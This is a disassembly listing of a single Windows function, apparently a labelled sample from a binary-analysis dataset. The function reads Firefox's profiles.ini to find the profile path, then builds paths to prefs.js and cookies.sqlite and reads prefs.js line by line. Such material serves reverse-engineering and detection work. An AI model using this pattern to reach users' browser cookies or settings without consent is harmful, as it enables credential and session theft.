Function at 0x425440
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x4a55cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x29c
mov eax, dword [0x4cbba0]
xor eax, esp
push ebx
push ebp
mov dword [esp + 0x2a0], eax
lea eax, [esp + 0x148]
push 0
push eax
mov ebp, ecx
call fcn.0049c1b0
add esp, 8
lea ecx, [esp + 0x180]
mov dword [esp + 0x2ac], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea ecx, [esp + 0x164]
mov byte [esp + 0x2ac], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
push 1
push 2
lea ecx, [esp + 0xd0]
mov byte [esp + 0x2b4], 2
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_int_]
push str.MozillaFirefoxprofiles.ini
lea ecx, [esp + 0x14c]
push ecx
lea edx, [esp + 0x14]
mov bl, 3
push edx
mov byte [esp + 0x2b8], bl
call fcn.00409d20
add esp, 0xc
push eax
lea ecx, [esp + 0x184]
mov byte [esp + 0x2b0], 4
call dword [0x4ab944]
lea ecx, [esp + 0xc]
mov byte [esp + 0x2ac], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x180]
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x104
lea eax, [esp + 0x1a4]
push eax
push 0x4acbb2
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x42588d
push edi
lea ecx, [esp + 0x1a0]
lea edi, [ebp + 0x24]
push ecx
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::empty_void_const]
test al, al
je 0x4255e6
lea ecx, [esp + 0xcc]
mov byte [esp + 0x2b0], 2
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::vbase_dtor_void_]
lea ecx, [esp + 0x168]
mov byte [esp + 0x2b0], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x184]
mov byte [esp + 0x2b0], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x14c]
mov dword [esp + 0x2b0], 0xffffffff
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
pop edi
mov ecx, dword [esp + 0x2a4]
pop ebp
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x29c]
pop ebx
xor ecx, esp
call fcn.004a17d1
add esp, 0x2a8
ret
push esi
lea edx, [esp + 0x34]
push edx
mov ecx, edi
mov byte [esp + 0x17], 0x5c
mov byte [esp + 0x16], 0x2f
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::iterator___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
mov esi, eax
lea eax, [esp + 0x30]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::iterator___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
lea ecx, [esp + 0x13]
push ecx
mov ecx, dword [esi]
lea edx, [esp + 0x16]
push edx
mov edx, dword [eax]
push ecx
push edx
call fcn.004251c0
add esp, 0x10
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
lea edx, [esp + 0x1a4]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x425634
push str.prefs.js
lea eax, [esp + 0x1a8]
push eax
push str.MozillaFirefox_
lea ecx, [esp + 0x15c]
push ecx
lea edx, [esp + 0xe0]
push edx
call fcn.00424f20
mov esi, dword [sym.imp.MSVCP71.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___struct_std::char_traits_char___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
add esp, 8
push eax
call esi
add esp, 8
push eax
call esi
add esp, 8
push eax
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xd4]
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::str_void_]
push eax
mov ecx, edi
mov byte [esp + 0x2b8], 5
call dword [0x4ab944]
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b4], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x4acbb2
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0xd4]
mov byte [esp + 0x2b8], 6
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::str_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b4], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.cookies.sqlite
lea edx, [esp + 0x1a8]
push edx
push str.MozillaFirefox_
lea eax, [esp + 0x15c]
push eax
lea ecx, [esp + 0xe0]
push ecx
call fcn.00424f20
add esp, 8
push eax
call esi
add esp, 8
push eax
call esi
add esp, 8
push eax
call esi
add esp, 8
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0xd4]
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::str_void_]
lea esi, [ebp + 8]
push eax
mov ecx, esi
mov byte [esp + 0x2b8], 7
call dword [0x4ab944]
lea ecx, [esp + 0x14]
mov byte [esp + 0x2b4], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
push 0x1b6
push 1
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [esp + 0x48]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x38]
mov byte [esp + 0x2b4], 8
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x4257fd
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
lea ecx, [esp + ecx + 0x38]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
jne 0x4257fd
lea edi, [ebp + 0x40]
jmp 0x4257b0
mov ecx, dword [esp + 0x38]
mov ecx, dword [ecx + 4]
push 0xa
lea ecx, [esp + ecx + 0x3c]
call dword [sym.imp.MSVCP71.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
lea edx, [esp + 0x16c]
push eax
push edx
lea eax, [esp + 0x40]
push eax
call fcn.0040fcc0
add esp, 0xc
lea ecx, [esp + 0x16c]
push ecx
mov ecx, edi
call fcn.004197a0
mov edx, dword [esp + 0x38]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x38]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
je 0x4257b0
lea ecx, [esp + 0x38]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, ebp
call fcn.004480d0
lea ecx, [esp + 0x38]
mov byte [esp + 0x12], al
mov byte [esp + 0x2b4], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0xd0]
mov byte [esp + 0x2b4], 2
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::vbase_dtor_void_]
lea ecx, [esp + 0x16c]
mov byte [esp + 0x2b4], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x188]
mov byte [esp + 0x2b4], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x150]
mov dword [esp + 0x2b4], 0xffffffff
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [esp + 0x12]
pop esi
jmp 0x4255c0
lea ecx, [esp + 0xc8]
mov byte [esp + 0x2ac], 2
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__::vbase_dtor_void_]
lea ecx, [esp + 0x164]
mov byte [esp + 0x2ac], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x180]
mov byte [esp + 0x2ac], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x148]
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x4255c1